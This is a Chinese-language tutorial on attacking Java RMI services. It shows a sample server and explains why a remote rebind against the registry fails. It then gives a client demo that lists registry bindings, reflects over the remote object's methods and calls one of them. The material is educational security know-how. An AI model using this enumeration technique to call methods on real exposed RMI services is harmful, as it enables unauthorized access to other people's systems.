攻击RMI
攻击背景
- Registry与Server位于同一JVM
- 攻击者能够访问目标RMI Registry服务
- 攻击者和Registry与Server不在同一JVM
- 攻击者可控的是自己的Client,只能于server远程通信
rebindRegistry攻击?
1 2 3 4 5 6 7 8 9 10 11
| public class RmiServer { public static void main(String[] args) throws RemoteException, MalformedURLException { LocateRegistry.createRegistry(9090); System.out.println("RMI注册表-启动成功"); test t1= new testimpl(); Naming.rebind("rmi://100.10.24.123:9090/test",t1); System.out.println("Test服务注册启动-成功"); System.out.println("Test服务运行中......"); } }
|
上面是远程服务端。那攻击者能否直接这样本地编写Client,rebindRegistry直接覆盖Registry绑定的对象呢?
1 2
| Evil e1= new Evilimpl(); Naming.rebind("rmi://100.10.24.123:9090/evil",e1);
|
显然是不行的

Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、bind、unbind等方法。而攻击者的来源地址显然是外部公网地址
遍历危险方法
这种攻击方式就比较直接了,利用Registry的引用,列出存在的远程方法,调用执行即可,下面我们编写demo演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package org.javasec.RMI.rmi1;
import java.io.IOException; import java.lang.reflect.Member; import java.lang.reflect.Method; import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RmiClient { public static void main() throws IOException, NotBoundException { Registry r1 = LocateRegistry.getRegistry("localhost",9090); String[] boundNames = r1.list(); for (String name : boundNames) { System.out.println(" - "+name); } Remote robj = r1.lookup("test"); Class<?>[] ins = robj.getClass().getInterfaces(); for (Class<?> in : ins) { System.out.println(" - " + in.getName()); } Method[] ms=robj.getClass().getDeclaredMethods(); for (Method m : ms) { System.out.println(" 方法: " + m.getName()); } test t1 = (test) Naming.lookup("rmi://localhost:9090/test"); t1.execute();
} }
|